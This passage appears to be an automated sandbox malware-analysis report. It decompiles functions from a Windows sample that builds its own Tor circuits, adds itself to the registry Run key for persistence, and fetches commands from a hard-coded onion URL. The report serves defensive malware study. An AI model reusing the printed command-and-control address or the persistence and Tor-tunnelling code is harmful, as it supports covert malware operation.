0x7ff61d78ec37
0x7ff61d78ec39
0x7ff61d78ec3b
0x7ff61d78ec3c
0x7ff61d78ec41
0x7ff61d78ec42
0x7ff61d78ec43
0x7ff61d78ec44
0x7ff61d78ec47
0x7ff61d78ec4b
0x7ff61d78ec5b
0x7ff61d78ec5f
0x7ff61d78ec66
0x7ff61d78ec6e
0x7ff61d78ec72
0x7ff61d78ec75
0x7ff61d78ec7a
0x7ff61d78ec7e
0x7ff61d78ec90
0x7ff61d78ec96
0x7ff61d78ec99
0x7ff61d78ec9d
0x7ff61d78eca1
0x7ff61d78ecb3
0x7ff61d78ecbc
0x7ff61d78ecc1
0x7ff61d78ecc6
0x7ff61d78ecde
0x7ff61d78ece7
0x7ff61d78eceb
0x7ff61d78ecef
0x7ff61d78ecf7
0x7ff61d78ed0d
0x7ff61d78ed17
0x7ff61d78ed20
0x7ff61d78ed27
0x7ff61d78ed29
0x7ff61d78ed2c
0x7ff61d78ed2e
0x7ff61d78ed48
0x7ff61d78ed4d
0x7ff61d78ed50
0x7ff61d78ed58
0x7ff61d78ed63
0x7ff61d78ed6e
0x7ff61d78ed72
0x7ff61d78ed76
0x7ff61d78ed7b
0x7ff61d78ed86
0x7ff61d78ed95
0x7ff61d78ed9d
0x7ff61d78eda3
0x7ff61d78edad
0x7ff61d78edbf
0x7ff61d78edc4
0x7ff61d78edc4
0x7ff61d78edc7
0x7ff61d78edcb
0x7ff61d78edd2
0x7ff61d78eddc
0x7ff61d78ede5
0x7ff61d78edec
0x7ff61d78edf3
0x7ff61d78edfc
0x7ff61d78ee01
0x7ff61d78ee06
0x7ff61d78ee0b
0x7ff61d78ee11
0x7ff61d78ee27
0x7ff61d78ee35
0x7ff61d78ee3a
0x7ff61d78ee46
0x7ff61d78ee4b
0x7ff61d78ee53
0x7ff61d78ee58
0x7ff61d78ee5b
0x7ff61d78ee63
0x7ff61d78ee68
0x7ff61d78ee7d
0x7ff61d78ee82
0x7ff61d78ee88
0x7ff61d78ee9e
0x7ff61d78eeac
0x7ff61d78eeb1
0x7ff61d78eebd
0x7ff61d78eec2
0x7ff61d78eeca
0x7ff61d78eecf
0x7ff61d78eede
0x7ff61d78eeeb
0x7ff61d78eeef
0x7ff61d78ef00
0x7ff61d78ef0b
0x7ff61d78ef10
0x7ff61d78ef13
0x7ff61d78ef18
0x7ff61d78ef1f
0x7ff61d78ef2a
0x7ff61d78ef30
0x7ff61d78ef37
0x7ff61d78ef39
0x7ff61d78ef4c
0x7ff61d78ef54
0x7ff61d78ef56
0x7ff61d78ef59
0x7ff61d78ef5d
0x7ff61d78ef61
0x7ff61d78ef65
0x7ff61d78ef69
0x7ff61d78ef7c
0x7ff61d78ef88
0x7ff61d78ef96
0x7ff61d78efae
0x7ff61d78efb3
0x7ff61d78efb7
0x7ff61d78efbb
0x7ff61d78efbf
0x7ff61d78efc2
0x7ff61d78efca
0x7ff61d78efd3
0x7ff61d78efd9
0x7ff61d78efe4
0x7ff61d78efe6
0x7ff61d78efee
0x7ff61d78eff2
0x7ff61d78eff7
0x7ff61d78effd
0x7ff61d78f00f
0x7ff61d78f01f
0x7ff61d78f023
0x7ff61d78f02f
0x7ff61d78f033
0x7ff61d78f03f
0x7ff61d78f043
0x7ff61d78f04b
0x7ff61d78f05f
0x7ff61d78f06c
0x7ff61d78f07a
0x7ff61d78f088
0x7ff61d78f08d
0x7ff61d78f091
0x7ff61d78f095
0x7ff61d78f0a1
0x7ff61d78f0a5
0x7ff61d78f0b1
0x7ff61d78f0b5
0x7ff61d78f0c1
0x7ff61d78f0c5
0x7ff61d78f0c9
0x7ff61d78f0da
0x7ff61d78f0df
0x7ff61d78f0e3
0x7ff61d78f0e7
0x7ff61d78f0ee
0x7ff61d78f0f2
0x7ff61d78f0fb
0x7ff61d78f103
0x7ff61d78f11e

APIs

inet_ntoa.WS2_32 ref: 00007FF61D78E98F
inet_ntoa.WS2_32 ref: 00007FF61D78EAE8

Strings

Connecting to node #%u: '%s' (%s:%u), xrefs: 00007FF61D78E9E2
Error while connecting!, xrefs: 00007FF61D78EAD7
Connected..., xrefs: 00007FF61D78EAB8
Extending to node #%u: '%s' (%s:%u), xrefs: 00007FF61D78EB3B
Error while creating circuit!, xrefs: 00007FF61D78EAC6
Extended..., xrefs: 00007FF61D78EBAF
Error when extending!, xrefs: 00007FF61D78EC0D

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: inet_ntoa
String ID: Connected...$Connecting to node #%u: '%s' (%s:%u)$Error when extending!$Error while connecting!$Error while creating circuit!$Extended...$Extending to node #%u: '%s' (%s:%u)
API String ID: 1879540557-1880961314
Opcode ID: eb014ad7e88f950d7991124922e7e5eb8e59d7f437ad89a963bff4fffddd3a1a
Instruction ID: c53d36c9260b3f2610df68ca047569e7a4378527b0a8f89030246126e4f6f964
Opcode Fuzzy Hash: eb014ad7e88f950d7991124922e7e5eb8e59d7f437ad89a963bff4fffddd3a1a
Instruction Fuzzy Hash: 2B91A972A18E4186EB14CF56E4402AD77A1FB84FB4B044636DE6E93B94EF3DE449D300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D7813B4 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 164
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF61D7813F4
RegOpenKeyExA.KERNELBASE ref: 00007FF61D781423
RegQueryInfoKeyA.ADVAPI32 ref: 00007FF61D781472
RegCloseKey.ADVAPI32 ref: 00007FF61D781481
RegEnumValueA.ADVAPI32 ref: 00007FF61D781509
free.MSVCRT ref: 00007FF61D7815BE
RegSetValueExA.KERNELBASE ref: 00007FF61D7815F1
RegCloseKey.KERNELBASE ref: 00007FF61D7815FC

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 00007FF61D781415

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CloseValue$EnumFileInfoModuleNameOpenQueryfree
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
API String ID: 2654051921-3913687870
Opcode ID: 3e84157b54ded18dc9e2f9af454b653e1b2e05dc564256fd7657dc030da23fbb
Instruction ID: de015815af854715fdc530f456d18827d5d6ba75f9b7e18c26be7efaa1cb23ae
Opcode Fuzzy Hash: 3e84157b54ded18dc9e2f9af454b653e1b2e05dc564256fd7657dc030da23fbb
Instruction Fuzzy Hash: 4A714032A18F4189E710CF75E8805AD77B5FB84BA4F505226EE9D93BA8EF38D554C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78FBD0 Relevance: 15.2, APIs: 3, Strings: 7, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E00007FF67FF61D78FBD0(void* __ecx, void* __edi, void* __ebp, void* __eflags, long long __rcx, void* __rdx, void* __r9) {
				void* __rbx;
				void* __rsi;
				void* _t125;
				void* _t128;
				void* _t145;
				signed long long _t162;
				void* _t169;
				signed long long _t171;
				signed int _t172;
				signed long long _t209;
				signed long long _t211;
				signed long long _t212;
				int _t214;
				signed long long _t217;
				signed long long _t218;
				void* _t220;
				long long _t221;
				void* _t223;
				void* _t224;
				void* _t226;
				void* _t227;
				void* _t236;
				signed long long _t237;
				signed long long _t241;
				intOrPtr _t246;
				char* _t247;
				intOrPtr _t248;
				void* _t250;
				intOrPtr _t251;
				void* _t254;

				_t134 = __edi;
				_t128 = __ecx;
				_t145 = _t226;
				 *((long long*)(_t145 + 8)) = __rcx;
				_t224 = _t145 - 0x5f;
				_t227 = _t226 - 0xe0;
				 *((long long*)(_t224 - 0x61)) = 0xfffffffe;
				asm("movaps [eax-0x48], xmm6");
				_t221 = __rcx;
				 *(_t227 + 0x30) =  *(_t227 + 0x30) & 0x00000000;
				 *(__rcx + 8) =  *(__rcx + 8) & 0x00000000;
				 *(__rcx + 0x10) =  *(__rcx + 0x10) & 0x00000000;
				 *(__rcx + 0x18) =  *(__rcx + 0x18) & 0x00000000;
				 *(_t227 + 0x30) = 1;
				E00007FF67FF61D781720(1, __edi, 0x1d79d010, "Get pings...\n\n", __r9);
				 *(_t224 + 0x6f) = _t227 + 0x38;
				E00007FF67FF61D781BA8(_t227 + 0x38, _t227 + 0x38);
				E00007FF67FF61D78F120(_t128, __ebp, _t224 - 0x39, _t227 + 0x38, __r9, _t254, _t250); // executed
				E00007FF67FF61D781720(1, _t134, 0x1d79d010, "%s\n\n",  *((intOrPtr*)(_t224 - 0x31)));
				 *((long long*)(_t227 + 0x20)) = "\n";
				 *((long long*)(_t227 + 0x28)) = 0x1d7937f1;
				asm("movaps xmm0, [esp+0x20]");
				asm("movdqa [esp+0x20], xmm0");
				E00007FF67FF61D781C90(_t224 - 0x39, _t224 - 0x59);
				_t251 =  *((intOrPtr*)(_t224 - 0x51));
				_t248 =  *((intOrPtr*)(_t224 - 0x49));
				if (_t251 == _t248) goto 0x1d78fec7;
				 *((long long*)(_t227 + 0x20)) = 0x1d7953a8;
				 *((long long*)(_t227 + 0x28)) = 0x1d7953a9;
				asm("movaps xmm6, [esp+0x20]");
				asm("movdqa [esp+0x20], xmm6");
				E00007FF67FF61D781C90(_t251, _t227 + 0x38);
				if (( *((intOrPtr*)(_t224 - 0x71)) -  *((intOrPtr*)(_t224 - 0x79)) & 0xffffffe0) == 0x40) goto 0x1d78fd2b;
				E00007FF67FF61D781720(1, _t134, 0x1d79d010, "bad URL info: %s\n\n",  *((intOrPtr*)(_t251 + 8)));
				E00007FF67FF61D781B5C( *((intOrPtr*)(_t224 - 0x71)) -  *((intOrPtr*)(_t224 - 0x79)) & 0xffffffe0, _t224 - 0x19,  *((intOrPtr*)(_t224 - 0x79)));
				 *(_t224 + 0x6f) =  *(_t224 + 0x6f) & 0x00000000;
				_t209 = "%d";
				sscanf(_t247);
				 *(_t224 + 7) =  *(_t224 + 0x6f);
				_t217 = (_t209 >> 4) + (_t209 >> 4 >> 0x3f);
				_t236 = _t217 + 1;
				_t211 = (_t209 >> 4) + (_t209 >> 4 >> 0x3f);
				if (_t236 - _t211 <= 0) goto 0x1d78fe72;
				goto 0x1d78fdb0;
				_t162 = 4 + _t211 * 4 << 2;
				if (_t236 - _t162 >= 0) goto 0x1d78fdac;
				if (_t162 - _t211 <= 0) goto 0x1d78fe72;
				malloc(_t214);
				_t171 = _t162;
				_t246 =  *((intOrPtr*)(_t221 + 0x10));
				_t241 =  *(_t221 + 8);
				if (_t241 - _t246 >= 0) goto 0x1d78fe47;
				_t237 = _t241;
				_t212 = _t162;
				 *(_t224 + 0x6f) = _t212;
				 *(_t224 + 0x77) = _t212;
				 *(_t212 + 8) =  *(_t212 + 8) & 0x00000000;
				 *(_t212 + 0x10) =  *(_t212 + 0x10) & 0x00000000;
				 *(_t212 + 0x18) =  *(_t212 + 0x18) & 0x00000000;
				 *(_t212 + 8) =  *((intOrPtr*)(_t237 + 8));
				 *((long long*)(_t237 + 8)) =  *(_t212 + 8);
				 *(_t212 + 0x10) =  *((intOrPtr*)(_t237 + 0x10));
				 *((long long*)(_t237 + 0x10)) =  *(_t212 + 0x10);
				 *(_t212 + 0x18) =  *((intOrPtr*)(_t237 + 0x18));
				 *((long long*)(_t237 + 0x18)) =  *(_t212 + 0x18);
				 *((intOrPtr*)(_t212 + 0x20)) =  *((intOrPtr*)(_t237 + 0x20));
				if (_t241 + 0x28 - _t246 < 0) goto 0x1d78fde2;
				free(_t220);
				 *(_t221 + 8) = _t171;
				 *((long long*)(_t221 + 0x10)) = _t171 + (_t217 + _t217 * 4) * 8;
				 *((long long*)(_t221 + 0x18)) = (_t162 + _t162 * 4 << 3) + _t171;
				_t218 = _t217 + _t217 * 4;
				_t172 = _t171 + _t218 * 8;
				 *(_t224 + 0x6f) = _t172;
				E00007FF67FF61D781B5C((_t162 + _t162 * 4 << 3) + _t171, _t172, _t224 - 0x19);
				 *(_t172 + 0x20) =  *(_t224 + 7);
				 *((long long*)(_t221 + 0x10)) =  *(_t221 + 8) + 0x28 + _t218 * 8;
				E00007FF67FF61D781BDC( *(_t224 + 7), _t224 - 0x19);
				E00007FF67FF61D781F00(_t172, _t227 + 0x38, _t221, _t169);
				if (_t251 + 0x20 != _t248) goto 0x1d78fce0;
				_t125 = E00007FF67FF61D781BDC(E00007FF67FF61D781F00(_t172, _t224 - 0x59, _t221, _t223), _t224 - 0x39);
				asm("movaps xmm6, [esp+0xd0]");
				return _t125;
			}

0x7ff61d78fbd0
0x7ff61d78fbd0
0x7ff61d78fbd0
0x7ff61d78fbd3
0x7ff61d78fbe1
0x7ff61d78fbe5
0x7ff61d78fbec
0x7ff61d78fbf4
0x7ff61d78fbf8
0x7ff61d78fbfb
0x7ff61d78fc00
0x7ff61d78fc05
0x7ff61d78fc0a
0x7ff61d78fc14
0x7ff61d78fc28
0x7ff61d78fc32
0x7ff61d78fc46
0x7ff61d78fc53
0x7ff61d78fc6d
0x7ff61d78fc79
0x7ff61d78fc85
0x7ff61d78fc8a
0x7ff61d78fc8f
0x7ff61d78fca2
0x7ff61d78fca8
0x7ff61d78fcac
0x7ff61d78fcb3
0x7ff61d78fcc0
0x7ff61d78fccc
0x7ff61d78fcdb
0x7ff61d78fce0
0x7ff61d78fcf3
0x7ff61d78fd0c
0x7ff61d78fd22
0x7ff61d78fd2f
0x7ff61d78fd39
0x7ff61d78fd41
0x7ff61d78fd4c
0x7ff61d78fd55
0x7ff61d78fd77
0x7ff61d78fd7a
0x7ff61d78fd96
0x7ff61d78fd9c
0x7ff61d78fdaa
0x7ff61d78fdac
0x7ff61d78fdb3
0x7ff61d78fdb8
0x7ff61d78fdc9
0x7ff61d78fdcf
0x7ff61d78fdd2
0x7ff61d78fdd6
0x7ff61d78fde0
0x7ff61d78fde2
0x7ff61d78fde9
0x7ff61d78fdf0
0x7ff61d78fdf4
0x7ff61d78fdf8
0x7ff61d78fdfd
0x7ff61d78fe02
0x7ff61d78fe0f
0x7ff61d78fe13
0x7ff61d78fe1f
0x7ff61d78fe23
0x7ff61d78fe2f
0x7ff61d78fe33
0x7ff61d78fe3b
0x7ff61d78fe41
0x7ff61d78fe4a
0x7ff61d78fe50
0x7ff61d78fe5c
0x7ff61d78fe64
0x7ff61d78fe72
0x7ff61d78fe76
0x7ff61d78fe7a
0x7ff61d78fe85
0x7ff61d78fe8e
0x7ff61d78fe9d
0x7ff61d78fea5
0x7ff61d78feb0
0x7ff61d78fec1
0x7ff61d78fed5
0x7ff61d78fedd
0x7ff61d78fef6

APIs

Part of subcall function 00007FF61D781720: GetCurrentThreadId.KERNEL32 ref: 00007FF61D781743
Part of subcall function 00007FF61D781720: GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF61D7888EE), ref: 00007FF61D781750
Part of subcall function 00007FF61D781720: _cwprintf_s_l.LIBCMT ref: 00007FF61D781791

sscanf.MSVCRT ref: 00007FF61D78FD4C
malloc.MSVCRT ref: 00007FF61D78FDC9
free.MSVCRT ref: 00007FF61D78FE4A

Part of subcall function 00007FF61D781F00: free.MSVCRT ref: 00007FF61D781F42

Strings

Get pings..., xrefs: 00007FF61D78FC18
gfffffff, xrefs: 00007FF61D78FCD1
gfffffff, xrefs: 00007FF61D78FE68
%s, xrefs: 00007FF61D78FC5D
http://pm2pavba27wr4m34.onion/command.txt, xrefs: 00007FF61D78FC3A
cached-consensus, xrefs: 00007FF61D78FBDD
bad URL info: %s, xrefs: 00007FF61D78FD12

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: free$CurrentLocalThreadTime_cwprintf_s_lmallocsscanf
String ID: %s$Get pings...$bad URL info: %s$cached-consensus$gfffffff$gfffffff$http://pm2pavba27wr4m34.onion/command.txt
API String ID: 3228243443-2893153835
Opcode ID: 9a75b45fdce254fdc1f8f8012f552c152914630365259634f3e64b61d804f72f
Instruction ID: d2c02f02e34d297affa03fae631f3144b73e14e562dba6ad543698a01744f0d8
Opcode Fuzzy Hash: 9a75b45fdce254fdc1f8f8012f552c152914630365259634f3e64b61d804f72f
Instruction Fuzzy Hash: F1915B73A05F4596EB14CF66E4403A97360FB48BA8F404636EE5E977A4EF38E589C340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78A8C8 Relevance: 13.7, APIs: 4, Strings: 5, Instructions: 211
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E00007FF67FF61D78A8C8(long long __rbx, intOrPtr* __rcx, intOrPtr* __rdx, void* __r8, void* __r9) {
				void* _t21;
				void* _t24;
				void* _t27;
				void* _t32;
				intOrPtr* _t35;
				void* _t43;
				int _t44;
				void* _t50;
				void* _t52;
				int _t58;
				void* _t60;
				void* _t62;
				void* _t64;

				_t32 = _t52;
				 *((long long*)(_t32 + 0x10)) = __rdx;
				_t50 = _t32 - 0x5f;
				 *((long long*)(_t50 + 0x17)) = 0xfffffffe;
				 *((long long*)(_t32 + 8)) = __rbx;
				_t35 = __rdx;
				r12d = 0;
				 *((intOrPtr*)(_t50 - 0x51)) = r12d;
				_t21 = E00007FF67FF61D78ABB0(__rcx);
				_t6 = _t58 + 1; // 0x1
				r13d = _t6;
				if (_t21 == 0) goto 0x1d78a94f;
				 *((long long*)(_t50 - 0x49)) =  *((intOrPtr*)(__rcx));
				 *((intOrPtr*)(_t50 - 0x41)) = r13d;
				_t9 = _t58 + 4; // 0x4
				r14d = _t9;
				if ( *((intOrPtr*)(__rcx + 0x10)) - r14d >= 0) goto 0x1d78a9de;
				_t43 = _t50 - 0x55;
				E00007FF67FF61D78A138(__rdx, _t50 - 0x49, _t43, __r8, _t64, _t62); // executed
				if (_t32 == 2) goto 0x1d78a996;
				E00007FF67FF61D781720(0, _t27, 0x1d79d010, "socket_buffer.read(circuit_id_v3) != sizeof(circuit_id_v3_type)\n", __r9);
				_t13 = _t43 + 0x30; // 0x30
				r8d = _t13;
				_t24 = memset(_t60, _t58, _t44);
				 *_t35 = r12d;
				 *((intOrPtr*)(_t35 + 4)) = r12b;
				 *(_t35 + 0x10) = _t58;
				 *(_t35 + 0x18) = _t58;
				 *(_t35 + 0x20) = _t58;
				 *((intOrPtr*)(_t35 + 0x28)) = r12b;
				 *((intOrPtr*)(_t50 - 0x51)) = r13d;
				return _t24;
			}

0x7ff61d78a8c8
0x7ff61d78a8cb
0x7ff61d78a8da
0x7ff61d78a8e5
0x7ff61d78a8ed
0x7ff61d78a8f1
0x7ff61d78a8f7
0x7ff61d78a8fa
0x7ff61d78a8fe
0x7ff61d78a903
0x7ff61d78a903
0x7ff61d78a90a
0x7ff61d78a90f
0x7ff61d78a913
0x7ff61d78a917
0x7ff61d78a917
0x7ff61d78a920
0x7ff61d78a926
0x7ff61d78a92e
0x7ff61d78a937
0x7ff61d78a949
0x7ff61d78a951
0x7ff61d78a951
0x7ff61d78a958
0x7ff61d78a95d
0x7ff61d78a960
0x7ff61d78a964
0x7ff61d78a968
0x7ff61d78a96c
0x7ff61d78a970
0x7ff61d78a974
0x7ff61d78a995

APIs

memset.MSVCRT ref: 00007FF61D78A958
free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00007FF61D78AAEE
free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00007FF61D78AB98
free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00007FF61D78ABA3

Strings

socket_buffer.read(circuit_id) != sizeof(circuit_id_type), xrefs: 00007FF61D78AA3B
socket_buffer.read(payload.get_buffer(), payload_size) != payload_size, xrefs: 00007FF61D78AAD4
socket_buffer.read(circuit_id_v3) != sizeof(circuit_id_v3_type), xrefs: 00007FF61D78A939
socket_buffer.read(command) != sizeof(cell_command), xrefs: 00007FF61D78A9D2
socket_buffer.read<payload_size_type>(payload_size) != sizeof(payload_size_type), xrefs: 00007FF61D78AA6F

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: free$memset
String ID: socket_buffer.read(circuit_id) != sizeof(circuit_id_type)$socket_buffer.read(circuit_id_v3) != sizeof(circuit_id_v3_type)$socket_buffer.read(command) != sizeof(cell_command)$socket_buffer.read(payload.get_buffer(), payload_size) != payload_size$socket_buffer.read<payload_size_type>(payload_size) != sizeof(payload_size_type)
API String ID: 2717317152-1323880483
Opcode ID: 217d140cfd60cac99ba22caa69d422f19ed53836649f41b25d1e426bd2e15c7a
Instruction ID: 8477a517fce00e74a21e5d38bebfb5f04c04cb94f6fb4e72be16720cbb9de6c1
Opcode Fuzzy Hash: 217d140cfd60cac99ba22caa69d422f19ed53836649f41b25d1e426bd2e15c7a
Instruction Fuzzy Hash: 32917A66B09A818AE710DF74D4001AD37B2EB44BB8B154235DEAEA3B98EF38D519D340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78A20C Relevance: 13.6, APIs: 5, Strings: 4, Instructions: 146
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00007FF67FF61D78A20C(void* __edx, void* __edi, long long __rbx, signed long long* __rcx, long long __rdx, long long __rsi, void* __r8, void* __r9, char _a8, char _a10, long long _a16) {
				void* _v24;
				char _v32;
				void* _v56;
				char _v72;
				long long _v80;
				char _v88;
				long long _v96;
				intOrPtr _v104;
				void* __rbp;
				void* _t43;
				long long _t74;
				signed long long _t76;
				signed long long _t77;
				long long _t82;
				signed long long _t83;
				intOrPtr _t87;
				intOrPtr* _t93;
				long long _t107;
				signed long long* _t111;
				long long _t116;
				void* _t119;
				void* _t123;

				_t123 = __r9;
				_t119 = __r8;
				_t74 = _t116;
				_v96 = 0xfffffffe;
				 *((long long*)(_t74 + 0x18)) = __rbx;
				 *((long long*)(_t74 + 0x20)) = __rsi;
				_t82 = __rdx;
				_t111 = __rcx;
				_v104 = 0;
				if (E00007FF67FF61D78ABB0(__rcx) == 0) goto 0x1d78a246;
				E00007FF67FF61D78A41C(_t38, __rdx, __rcx, _t116);
				 *((long long*)(__rcx + 8)) = _t82;
				malloc(??);
				_a16 = _t74;
				if (_t74 == 0) goto 0x1d78a2c6;
				_t87 =  *((intOrPtr*)(__rcx + 8));
				_a8 =  *((intOrPtr*)(_t87 + 0x58));
				E00007FF67FF61D78815C(_t74,  &_a8,  &_v72, _t119);
				_v104 = 1;
				_t107 =  *((intOrPtr*)(_t74 + 8));
				_t76 =  *((intOrPtr*)(_t74 + 0x10)) - _t107;
				_t77 =  ~_t76;
				asm("dec eax");
				_v88 = _t107;
				_v80 = (_t76 - 0x00000001 & _t77) + _t107;
				asm("movaps xmm0, [ebp-0x40]");
				asm("movdqa [ebp-0x40], xmm0");
				r8d =  *(_t87 + 0x5c) & 0xffff;
				E00007FF67FF61D783A48(_t82, _t74,  &_v88, __rsi, _t116); // executed
				_t83 = _t77;
				goto 0x1d78a2c8;
				_t93 =  *_t111;
				if (_t93 == 0) goto 0x1d78a2df;
				if (_t83 == _t93) goto 0x1d78a2df;
				_t43 =  *((intOrPtr*)( *_t93))();
				 *_t111 = _t83;
				if ((sil & 0x00000001) == 0) goto 0x1d78a2f7;
				_v104 = 0;
				E00007FF67FF61D781BDC(_t43,  &_v72);
				if (E00007FF67FF61D78ABB0(_t111) == 0) goto 0x1d78a3b1;
				E00007FF67FF61D781720(0, __edi, 0x1d79d010, "tor_socket::send_versions()\n", _t123);
				_a8 = 0x400;
				_v88 =  &_a8;
				_v80 =  &_a10;
				asm("movaps xmm0, [ebp-0x40]");
				asm("movdqa [ebp-0x40], xmm0");
				r8b = 7;
				E00007FF67FF61D7845C0(0,  &_v72);
				E00007FF67FF61D78A86C( &_a10, _t111,  &_a10); // executed
				free(??);
				E00007FF67FF61D781720(0, __edi, 0x1d79d010, "tor_socket::recv_versions()\n",  &_v88);
				E00007FF67FF61D78A8C8(_t83, _t111,  &_v72, "tor_socket::recv_versions()\n",  &_v88); // executed
				if (_v32 != 0) goto 0x1d78a3c6;
				free(??);
				return E00007FF67FF61D78A41C(E00007FF67FF61D781720(3, __edi, 0x1d79d010, "Invalid handshake\n",  &_v88), _t83, _t111, _t116);
			}

0x7ff61d78a20c
0x7ff61d78a20c
0x7ff61d78a20c
0x7ff61d78a21a
0x7ff61d78a222
0x7ff61d78a226
0x7ff61d78a22a
0x7ff61d78a22d
0x7ff61d78a232
0x7ff61d78a23c
0x7ff61d78a241
0x7ff61d78a246
0x7ff61d78a24f
0x7ff61d78a258
0x7ff61d78a25f
0x7ff61d78a261
0x7ff61d78a26c
0x7ff61d78a277
0x7ff61d78a282
0x7ff61d78a285
0x7ff61d78a28d
0x7ff61d78a294
0x7ff61d78a297
0x7ff61d78a2a0
0x7ff61d78a2a4
0x7ff61d78a2a8
0x7ff61d78a2ac
0x7ff61d78a2b1
0x7ff61d78a2bc
0x7ff61d78a2c1
0x7ff61d78a2c4
0x7ff61d78a2c8
0x7ff61d78a2ce
0x7ff61d78a2d3
0x7ff61d78a2dd
0x7ff61d78a2df
0x7ff61d78a2e6
0x7ff61d78a2eb
0x7ff61d78a2f2
0x7ff61d78a301
0x7ff61d78a31a
0x7ff61d78a31f
0x7ff61d78a329
0x7ff61d78a331
0x7ff61d78a335
0x7ff61d78a339
0x7ff61d78a342
0x7ff61d78a34b
0x7ff61d78a357
0x7ff61d78a361
0x7ff61d78a373
0x7ff61d78a37f
0x7ff61d78a389
0x7ff61d78a38f
0x7ff61d78a3c5

APIs

malloc.MSVCRT ref: 00007FF61D78A24F
free.MSVCRT ref: 00007FF61D78A361
free.MSVCRT ref: 00007FF61D78A38F

Strings

tor_socket::recv_net_info(), xrefs: 00007FF61D78A3E3
tor_socket::send_versions(), xrefs: 00007FF61D78A307
Invalid handshake, xrefs: 00007FF61D78A395
tor_socket::recv_versions(), xrefs: 00007FF61D78A367

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: free$malloc
String ID: Invalid handshake$tor_socket::recv_net_info()$tor_socket::recv_versions()$tor_socket::send_versions()
API String ID: 2190258309-3974360583
Opcode ID: 408551ee9266e629bac296f6375732a757623724ab44b33c5ce0e25bcec212f8
Instruction ID: 660d5994160a7fd915f82af0f42cdb643dc3bb2d72fc7d1bb2c16e17ef7dcd57
Opcode Fuzzy Hash: 408551ee9266e629bac296f6375732a757623724ab44b33c5ce0e25bcec212f8
Instruction Fuzzy Hash: 5C519E22A08E5189FB14EB75D8501FD2361BF89FB8F544235DE4E93B95EF3CA44A9300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D785284 Relevance: 10.7, APIs: 3, Strings: 4, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 56%

